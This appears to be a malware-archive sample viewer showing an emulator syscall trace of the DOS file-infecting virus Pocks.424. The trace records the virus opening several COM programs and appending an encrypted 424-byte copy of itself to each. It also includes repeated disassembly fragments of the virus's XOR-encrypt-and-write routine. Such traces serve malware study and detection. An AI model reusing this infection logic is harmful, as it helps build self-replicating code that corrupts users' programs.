Sample viewer

vx.netlux.org/Virus.DOS.VCC.Pocks.424

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:46:13.655347509Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T22:46:13.65675088Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:46:13.6581426Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:46:13.659105937Z 78 PC: 12acf | Find first file
2018-12-17T22:46:13.662853628Z 61 PC: 12b7c | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:46:13.667672435Z 63 PC: 12b8b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:13.671581751Z 66 PC: 12b9a | Move file pointer
2018-12-17T22:46:13.672593323Z 66 PC: 12ba9 | Move file pointer
2018-12-17T22:46:13.674146626Z 64 PC: 12bb5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:13.675897803Z 66 PC: 12bc1 | Move file pointer
2018-12-17T22:46:13.677240814Z 44 PC: 12bc5 | Get time 0x12bc5: mov byte ptr [bp + 0x1a8], dl
0x12bc9: call 0x12bdf
0x12bcc: mov ah, 0x40
0x12bce: mov cx, 0x1a8
0x12bd1: lea dx, word ptr [bp + 6]
0x12bd5: int 0x21
0x12bd7: call 0x12bdf
0x12bda: mov ah, 0x3e
0x12bdc: int 0x21
0x12bde: ret
0x12bdf: lea si, word ptr [bp + 0x1f]
0x12be3: mov cx, 0x16a
0x12be6: xor byte ptr [si], 0
0x12be9: inc si
0x12bea: dec cx
0x12beb: jne 0x12be6
0x12bed: ret
0x12bee: add word ptr [bx], di
0x12bf0: aas
0x12bf1: aas
2018-12-17T22:46:13.685737921Z 64 PC: 12bd7 | Write file or device (Write 424 bytes on handle 5)
2018-12-17T22:46:13.70076492Z 62 PC: 12bde | Close file
2018-12-17T22:46:13.70870826Z 79 PC: 12acf | Find next file
2018-12-17T22:46:13.720180608Z 61 PC: 12b7c | Open file (Filename = 'PRINT.COM')
2018-12-17T22:46:13.726477394Z 63 PC: 12b8b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:13.732947203Z 66 PC: 12b9a | Move file pointer
2018-12-17T22:46:13.735613192Z 66 PC: 12ba9 | Move file pointer
2018-12-17T22:46:13.737047631Z 64 PC: 12bb5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:13.739587542Z 66 PC: 12bc1 | Move file pointer
2018-12-17T22:46:13.741721766Z 44 PC: 12bc5 | Get time 0x12bc5: mov byte ptr [bp + 0x1a8], dl
0x12bc9: call 0x12bdf
0x12bcc: mov ah, 0x40
0x12bce: mov cx, 0x1a8
0x12bd1: lea dx, word ptr [bp + 6]
0x12bd5: int 0x21
0x12bd7: call 0x12bdf
0x12bda: mov ah, 0x3e
0x12bdc: int 0x21
0x12bde: ret
0x12bdf: lea si, word ptr [bp + 0x1f]
0x12be3: mov cx, 0x16a
0x12be6: xor byte ptr [si], 0x41
0x12be9: inc si
0x12bea: dec cx
0x12beb: jne 0x12be6
0x12bed: ret
0x12bee: add word ptr [bx], di
0x12bf0: aas
0x12bf1: aas
2018-12-17T22:46:13.744340646Z 64 PC: 12bd7 | Write file or device (Write 424 bytes on handle 5)
2018-12-17T22:46:13.747267733Z 62 PC: 12bde | Close file
2018-12-17T22:46:13.755020087Z 79 PC: 12acf | Find next file
2018-12-17T22:46:13.757894751Z 61 PC: 12b7c | Open file (Filename = 'HELLO.COM')
2018-12-17T22:46:13.764510777Z 63 PC: 12b8b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:13.770924243Z 66 PC: 12b9a | Move file pointer
2018-12-17T22:46:13.772945782Z 66 PC: 12ba9 | Move file pointer
2018-12-17T22:46:13.774385986Z 64 PC: 12bb5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:13.776871796Z 66 PC: 12bc1 | Move file pointer
2018-12-17T22:46:13.778986106Z 44 PC: 12bc5 | Get time 0x12bc5: mov byte ptr [bp + 0x1a8], dl
0x12bc9: call 0x12bdf
0x12bcc: mov ah, 0x40
0x12bce: mov cx, 0x1a8
0x12bd1: lea dx, word ptr [bp + 6]
0x12bd5: int 0x21
0x12bd7: call 0x12bdf
0x12bda: mov ah, 0x3e
0x12bdc: int 0x21
0x12bde: ret
0x12bdf: lea si, word ptr [bp + 0x1f]
0x12be3: mov cx, 0x16a
0x12be6: xor byte ptr [si], 0x47
0x12be9: inc si
0x12bea: dec cx
0x12beb: jne 0x12be6
0x12bed: ret
0x12bee: add word ptr [bx], di
0x12bf0: aas
0x12bf1: aas
2018-12-17T22:46:13.781194Z 64 PC: 12bd7 | Write file or device (Write 424 bytes on handle 5)
2018-12-17T22:46:13.789232511Z 62 PC: 12bde | Close file
2018-12-17T22:46:13.797724738Z 79 PC: 12acf | Find next file
2018-12-17T22:46:13.800691164Z 61 PC: 12b7c | Open file (Filename = 'PHANG.COM')
2018-12-17T22:46:13.807900969Z 63 PC: 12b8b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:13.81476405Z 66 PC: 12b9a | Move file pointer
2018-12-17T22:46:13.816275113Z 66 PC: 12ba9 | Move file pointer
2018-12-17T22:46:13.818152979Z 64 PC: 12bb5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:13.829427133Z 66 PC: 12bc1 | Move file pointer
2018-12-17T22:46:13.830641298Z 44 PC: 12bc5 | Get time 0x12bc5: mov byte ptr [bp + 0x1a8], dl
0x12bc9: call 0x12bdf
0x12bcc: mov ah, 0x40
0x12bce: mov cx, 0x1a8
0x12bd1: lea dx, word ptr [bp + 6]
0x12bd5: int 0x21
0x12bd7: call 0x12bdf
0x12bda: mov ah, 0x3e
0x12bdc: int 0x21
0x12bde: ret
0x12bdf: lea si, word ptr [bp + 0x1f]
0x12be3: mov cx, 0x16a
0x12be6: xor byte ptr [si], 0x47
0x12be9: inc si
0x12bea: dec cx
0x12beb: jne 0x12be6
0x12bed: ret
0x12bee: add word ptr [bx], di
0x12bf0: aas
0x12bf1: aas
2018-12-17T22:46:13.832232796Z 64 PC: 12bd7 | Write file or device (Write 424 bytes on handle 5)
2018-12-17T22:46:13.834832216Z 62 PC: 12bde | Close file
2018-12-17T22:46:13.839845427Z 79 PC: 12acf | Find next file
2018-12-17T22:46:13.841564749Z 61 PC: 12b7c | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:46:13.8462374Z 63 PC: 12b8b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:13.850877264Z 66 PC: 12b9a | Move file pointer
2018-12-17T22:46:13.852640687Z 66 PC: 12ba9 | Move file pointer
2018-12-17T22:46:13.855326197Z 64 PC: 12bb5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:13.858091351Z 66 PC: 12bc1 | Move file pointer
2018-12-17T22:46:13.859523522Z 44 PC: 12bc5 | Get time 0x12bc5: mov byte ptr [bp + 0x1a8], dl
0x12bc9: call 0x12bdf
0x12bcc: mov ah, 0x40
0x12bce: mov cx, 0x1a8
0x12bd1: lea dx, word ptr [bp + 6]
0x12bd5: int 0x21
0x12bd7: call 0x12bdf
0x12bda: mov ah, 0x3e
0x12bdc: int 0x21
0x12bde: ret
0x12bdf: lea si, word ptr [bp + 0x1f]
0x12be3: mov cx, 0x16a
0x12be6: xor byte ptr [si], 0x4c
0x12be9: inc si
0x12bea: dec cx
0x12beb: jne 0x12be6
0x12bed: ret
0x12bee: add word ptr [bx], di
0x12bf0: aas
0x12bf1: aas
2018-12-17T22:46:13.862352634Z 64 PC: 12bd7 | Write file or device (Write 424 bytes on handle 5)
2018-12-17T22:46:13.865384885Z 62 PC: 12bde | Close file
2018-12-17T22:46:13.873103246Z 79 PC: 12acf | Find next file
2018-12-17T22:46:13.876232837Z 61 PC: 12b7c | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:46:13.882386606Z 63 PC: 12b8b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:13.888879138Z 66 PC: 12b9a | Move file pointer
2018-12-17T22:46:13.890597841Z 66 PC: 12ba9 | Move file pointer
2018-12-17T22:46:13.891853458Z 64 PC: 12bb5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:13.897659333Z 66 PC: 12bc1 | Move file pointer
2018-12-17T22:46:13.899620586Z 44 PC: 12bc5 | Get time 0x12bc5: mov byte ptr [bp + 0x1a8], dl
0x12bc9: call 0x12bdf
0x12bcc: mov ah, 0x40
0x12bce: mov cx, 0x1a8
0x12bd1: lea dx, word ptr [bp + 6]
0x12bd5: int 0x21
0x12bd7: call 0x12bdf
0x12bda: mov ah, 0x3e
0x12bdc: int 0x21
0x12bde: ret
0x12bdf: lea si, word ptr [bp + 0x1f]
0x12be3: mov cx, 0x16a
0x12be6: xor byte ptr [si], 0x4c
0x12be9: inc si
0x12bea: dec cx
0x12beb: jne 0x12be6
0x12bed: ret
0x12bee: add word ptr [bx], di
0x12bf0: aas
0x12bf1: aas
2018-12-17T22:46:13.901681767Z 64 PC: 12bd7 | Write file or device (Write 424 bytes on handle 5)
2018-12-17T22:46:13.910098805Z 62 PC: 12bde | Close file
2018-12-17T22:46:13.918858769Z 79 PC: 12acf | Find next file
2018-12-17T22:46:13.92139535Z 61 PC: 12b7c | Open file (Filename = 'PAH.COM')
2018-12-17T22:46:13.927669143Z 63 PC: 12b8b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:13.934870748Z 66 PC: 12b9a | Move file pointer
2018-12-17T22:46:13.936388746Z 66 PC: 12ba9 | Move file pointer
2018-12-17T22:46:13.937827333Z 64 PC: 12bb5 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:13.941584517Z 66 PC: 12bc1 | Move file pointer
2018-12-17T22:46:13.943309659Z 44 PC: 12bc5 | Get time 0x12bc5: mov byte ptr [bp + 0x1a8], dl
0x12bc9: call 0x12bdf
0x12bcc: mov ah, 0x40
0x12bce: mov cx, 0x1a8
0x12bd1: lea dx, word ptr [bp + 6]
0x12bd5: int 0x21
0x12bd7: call 0x12bdf
0x12bda: mov ah, 0x3e
0x12bdc: int 0x21
0x12bde: ret
0x12bdf: lea si, word ptr [bp + 0x1f]
0x12be3: mov cx, 0x16a
0x12be6: xor byte ptr [si], 0x52
0x12be9: inc si
0x12bea: dec cx
0x12beb: jne 0x12be6
0x12bed: ret
0x12bee: add word ptr [bx], di
0x12bf0: aas
0x12bf1: aas
2018-12-17T22:46:13.945971132Z 64 PC: 12bd7 | Write file or device (Write 424 bytes on handle 5)
2018-12-17T22:46:13.949035914Z 62 PC: 12bde | Close file
2018-12-17T22:46:13.957450235Z 79 PC: 12acf | Find next file
2018-12-17T22:46:13.962038066Z 61 PC: 12b7c | Open file (Filename = 'TEST.COM')
2018-12-17T22:46:13.968480246Z 63 PC: 12b8b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:13.971307916Z 62 PC: 12bde | Close file
2018-12-17T22:46:13.972980975Z 79 PC: 12acf | Find next file
2018-12-17T22:46:13.975213383Z 26 PC: 12adf | Set disk transfer address
2018-12-17T22:46:13.976661397Z 19 PC: 12af1 | Delete file